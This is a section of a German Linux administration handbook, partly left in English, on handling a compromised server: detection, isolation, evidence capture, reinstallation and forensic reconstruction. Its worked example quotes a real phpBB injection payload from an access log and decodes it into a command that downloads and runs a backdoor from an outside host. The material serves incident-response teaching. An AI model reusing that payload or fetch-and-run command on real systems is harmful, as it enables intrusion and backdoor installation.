Product SiteDocumentation Site

14.7. Umgang mit einem kompromittierten Rechner

Trotz bester Absichten und aller Sorgfalt bei der Erstellung der Sicherheitsregeln wird ein Administrator eines Tages einer feindlichen Übernahme gegenüberstehen. Dieser Abschnitt stellt einige Leitlinien darüber bereit, wie man im Falle dieser unglücklichen Umstände reagieren sollte.

14.7.1. Den Einbruch eines Crackers entdecken und sehen

Der erste Schritt einer Reaktion auf einen Einbruch besteht darin, eine derartige Tat überhaupt wahrzunehmen. Dies ist nicht selbstverständlich, vor allem nicht ohne eine angemessene Überwachungsinfrastruktur.
Einbrüche bleiben häufig unentdeckt, bis sie direkte Folgen für die legitimen Dienste haben, die auf dem Rechner untergebracht sind, wie zum Beispiel, dass Verbindungen langsamer werden, dass einige Benutzer sich nicht anmelden können oder eine andere Fehlfunktion. Angesichts dieser Probleme muss sich der Administrator den Rechner genau ansehen und sorgfältig alles überprüfen, was nicht normal funktioniert. Dann entdeckt er normalerweise einen ungewöhnlichen Prozess, zum Beispiel einen namens apache statt des standardmäßigen /usr/sbin/apache2. Wenn wir diesem Beispiel weiter folgen, so sollte seine Prozesskennung notiert und mit /proc/pid/exe überprüft werden, um zu sehen, welches Programm diesen Prozess zurzeit gerade ausführt:
# ls -al /proc/3719/exe
lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc
Ein unter /var/tmp/ installiertes Programm, das als Webserver läuft? Kein Zweifel, der Rechner ist kompromittiert.
Dies ist nur ein Beispiel, aber auch zahlreiche andere Hinweise können den Administrator alarmieren:
  • a command that suddenly shows errors like segmentation faults;
  • a program that utilizes all CPU cores or memory;
  • eine Option eines Befehls, die nicht mehr funktioniert; die Version des Programms, in der der Befehl angeblich vorliegt, stimmt nicht mit der Version überein, die laut dpkg installiert sein sollte;
  • eine Eingabeaufforderung oder ein Begrüßungsbildschirm, die anzeigen, dass die vorherige Verbindung von einem unbekannten Server oder einem anderen Kontinent kam;
  • Fehler, die darauf zurückzuführen sind, dass die Partition /tmp/ voll ist, wobei sich dann herausstellt, dass sie voller illegaler Filmkopien ist;
  • und so weiter.

14.7.2. Den Server vom Netz nehmen

Außer in sehr ungewöhnlichen Fällen erfolgt ein Einbruch über das Netzwerk und der Angreifer benötigt ein funktionierendes Netzwerk, um seine Ziele zu erreichen (auf vertrauliche Daten zuzugreifen, illegale Dateien zu tauschen, seine Identität durch die Verwendung des Rechners als Zwischenstation zu verbergen und so weiter). Dadurch dass der Rechner vom Netz genommen wird, wird es dem Angreifer unmöglich gemacht, diese Ziele zu erreichen, falls ihm dies bisher noch nicht gelungen ist.
This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it is usually a good idea to start by gathering some important information (see Abschnitt 14.7.3, „Alles aufbewahren, was als Beweis dienen könnte“, Abschnitt 14.7.5, „Forensische Analyse“ and Abschnitt 14.7.6, „Das Angriffsszenarium wiederherstellen“), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but sshd). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines. If possible, and if the provider supports it, the server can be put offline and accessed through the providers KVM/IPMI interface or their rescue console. If the affected machine is a virtual machine, a snapshot should be taken immediately to secure evidence.

14.7.3. Alles aufbewahren, was als Beweis dienen könnte

Um den Angriff verstehen oder um rechtliche Schritte gegen die Angreifer einleiten zu können, ist es erforderlich, Kopien aller wichtigen Elemente zu erstellen; hierzu gehört der Inhalt der Festplatte, eine Liste aller laufenden Prozesse und eine Liste aller offenen Verbindungen. Der Inhalt des RAM könnte auch verwendet werden, er wird in der Praxis aber selten benutzt.
Im Eifer des Gefechts sind Administratoren häufig versucht, auf dem kompromittierten Rechner zahlreiche Überprüfungen durchzuführen; dies ist jedoch gewöhnlich keine gute Idee. Jeder Befehl kann unterwandert sein und daher Beweisstücke löschen. Die Überprüfungen sollten auf ein Mindestmaß beschränkt werden (netstat -tupan für Netzwerkverbindungen, ps auxf für eine Liste der Prozesse, ls -alR /proc/[0-9]* für einige zusätzliche Informationen über laufende Programme) und jede durchgeführte Überprüfung sollte sorgfältig notiert werden.
Once the “dynamic” elements have been saved, the next step is to store a complete image of the hard-disk. Making such an image is impossible if the filesystem is still evolving, which is why it must be remounted read-only. The simplest solution is often to halt the server brutally (after running sync) and reboot it on a rescue CD. Each partition should be copied with a tool such as dd; these images can be sent to another server (possibly with the very convenient nc tool). Another possibility may be even simpler: just get the disk out of the machine and replace it with a new one that can be reformatted and reinstalled. Most server providers offer a so-called rescue-console that essentially provides the same functionality as a rescue CD.

14.7.4. Neu installieren

Der Server sollte ohne eine vollständige Neuinstallation nicht wieder ans Netz gebracht werden. Falls die Kompromittierung schwerwiegend war (falls administrative Rechte erlangt worden sind), gibt es fast keinen anderen Weg, um sicher zu sein, dass wir von allem, was der Angreifer hinterlassen haben könnte (vor allem Hintertüren), befreit sind. Selbstverständlich müssen auch die jüngsten Sicherheitsaktualisierungen angewendet werden, um so die Sicherheitslücke zu schließen, die vom Angreifer benutzt wurde. Idealerweise sollte die Analyse des Angriffs diesen Angriffsvektor aufzeigen, so dass man sicher sein kann, dass man ihn behoben hat; sonst kann man nur hoffen, dass die Sicherheitslücke eine von denen war, die durch die Aktualisierungen beseitigt worden sind.
Reinstalling a remote server is not always easy; it may involve assistance from the hosting company, because not all such companies provide automated reinstallation systems or remote consoles (although these cases should be rare). Care should be taken not to reinstall the machine from backups taken later than the compromise. Ideally, only data should be restored, the actual software should be reinstalled from the installation media.

14.7.5. Forensische Analyse

Nun, da der Betrieb wiederhergestellt ist, ist es an der Zeit, sich die Abbilder des kompromittierten Systems genauer anzusehen, um den Angriffsvektor zu verstehen. Beim Einhängen dieser Abbilder sollte darauf geachtet werden, dass die Optionen ro,nodev,noexec,noatime verwendet werden, um zu verhindern, dass der Inhalt verändert wird (einschließlich der Zeitstempel für den Zugriff auf Dateien) oder versehentlich kompromittierte Programme ausgeführt werden.
Ein Angriffsszenarium zurückzuverfolgen bedeutet gewöhnlich, nach allem Ausschau zu halten, das verändert und ausgeführt wurde:
  • .bash_history-Dateien stellen häufig eine sehr interessante Lektüre dar;
  • das Gleiche gilt für Dateien, die vor kurzem erstellt, verändert oder angesteuert wurden;
  • der Befehl strings hilft dabei, vom Angreifer installierte Programme zu identifizieren, indem er Textstrings aus einer Binärdatei extrahiert;
  • die Protokolldateien in /var/log/ ermöglichen es oft, eine Chronologie der Ereignisse zu rekonstruieren;
  • comparing the system to the last known uncompromised backup can quickly reveal the changes left by the attacker, e.g. files added, changed, or deleted;
  • Spezialprogramme ermöglichen es auch, den Inhalt von Dateien wiederherzustellen, die möglicherweise gelöscht worden sind, einschließlich der Protokolldateien, die Angreifer häufig löschen.
Some of these operations can be made easier with specialized software. In particular, the sleuthkit package provides many tools to analyze a filesystem. Their use is made easier by the Autopsy Forensic Browser graphical interface (in the autopsy package). Some Linux distributions have a "live install" image and contain many programs for forensic analysis, such as Kali Linux (see Abschnitt A.8, „Kali Linux“), with its forensic mode, BlackArchLinux, and the commercial Grml-Forensic, based on Grml (see Abschnitt A.6, „Grml“).

14.7.6. Das Angriffsszenarium wiederherstellen

Alle während der Analyse gesammelten Elemente sollten wie die Teile eines Puzzles zueinander passen; die Erstellung der ersten verdächtigen Dateien steht häufig mit Protokollen in Zusammenhang, die den Einbruch bekunden. Ein Beispiel aus dem Alltag sollte deutlicher sein, als langes theoretisches Gerede.
Das folgende Protokoll ist ein Auzug aus einer Apache access.log-Datei:
www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
This example matches exploitation of an old security vulnerability in phpBB.
Das Entschlüsseln dieser langen URL führt zu der Erkenntnis, dass es dem Angreifer gelungen ist, einigen PHP-Code auszuführen, nämlich: system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &"). In der Tat wurde eine bd-Datei in /tmp/ gefunden. Wenn man strings /mnt/tmp/bd ausführt, ergibt sich unter anderem der String PsychoPhobia Backdoor is starting.... Dies sieht wirklich nach einer Hintertür aus.
Einige Zeit später wurde dieser Zugang dazu benutzt, einen IRC-Bot herunterzuladen, zu installieren und auszuführen, der sich mit einem IRC-Untergrundnetzwerk verbunden hat. Der Bot konnte dann über dieses Protokoll gesteuert und angewiesen werden, Dateien zum Tausch herunterzuladen. Dieses Programm hat sogar seine eigene Programmdatei:
** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)
** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT
** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024
** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating
** 2004-11-29-19:50:20: DCC CHAT Correct password
(...)
** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)
(...)
** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)
(...)
** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)
(...)
** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)
Diese Spuren zeigen, dass über die IP-Adresse 82.50.72.202 zwei Videodateien auf dem Server gespeichert wurden.
Gleichzeitig hat der Angreifer einige zusätzliche Dateien heruntergeladen: /tmp/pt und /tmp/loginx. Lässt man diese Dateien durch strings laufen, so ergeben sich Strings wie Shellcode placed at 0x%08lx und Now wait for suid shell.... Diese sehen wie Programme aus, die lokale Schwachstellen ausnutzen, um Administratorrechte zu erlangen. Haben sie ihr Ziel erreicht? In diesem Fall vermutlich nicht, da anscheinend keine Datei nach dem ursprünglichen Einbruch verändert worden ist.
In diesem Beispiel wurde der gesamte Einbruch rekonstruiert und es kann daraus geschlossen werden, dass der Angreifer in der Lage war, das kompromittierte System etwa drei Tage lang zu nutzen; aber das wichtigste Element der Analyse ist, dass die Schwachstelle identifiziert worden ist und dass der Administrator sicher sein kann, dass die neue Installation diese Schwachstelle tatsächlich behebt.